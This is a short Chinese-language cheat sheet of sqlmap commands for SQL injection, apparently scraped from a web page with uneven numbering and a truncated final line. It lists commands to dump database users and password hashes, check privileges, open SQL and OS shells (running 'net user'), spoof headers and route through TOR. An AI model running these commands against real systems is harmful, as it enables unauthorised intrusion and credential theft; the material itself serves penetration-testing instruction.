SQLmap实战

1、实战mssql

1. 判断注入类型 python sqlmap.py -u 注入点
3. 判断当前用户是否是dba python sqlmap.py -u 注入点 --is-dba -v 1
5. 列举数据库用户 python sqlmap.py -u 注入点 --users -v 0
7. 列举数据库密码 python sqlmap.py -u 注入点 --passwords -v 0
9. 查看用户权限 python sqlmap.py -u 注入点 --privileges -v 0
11. 执行命令 python sqlmap.py -u 注入点 --os-shell -os-cmd=net user

复制代码

2、基本使用

1. 执行SQL语句·python sqlmap.py -u 注入点 -v 1 --sql-shell
3. 更详细的信息 python sqlmap.py -u 注入点 -v 5
5. POST提交 python sqlmap.py -u 文件路径 --method POST --data 参数
7. cookie提交 python sqlmap.py -u 文件路径 --cookie 参数 -v 1
9. 使用referer欺骗 python sqlmap.py -u 注入点 --referer referer地址 -v 3
11. 自定义user-agent 或者使用随机自带的user-agents.txt
13. python sqlmap.py -u 注入点 --user-agent "自定义" -v 3
14. python sqlmap.py -u 注入点 -v 1 -a "./txt/user-agents.txt"
16. 使用基本认证 python sqlmap.py -u 注入点 --auth-type Basic --auth-cred "testuser:testpass" -v 3
18. 使用Digest认证 python sqlmap.py -u 注入点 --auth-type Digest --auth-cred "testuser:testpass" -v 3
20. 使用代理,配合TOR python sqlmap.py -u 注入点 --proxy 代理ip
22. 使用多线程猜解 python sqlmap.py -u 注入点 -v 1 --current-user --threads 3
24. 绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

复制代码

页面比较
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1” --string “luther” -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1” --regexp “lu[\w][\w]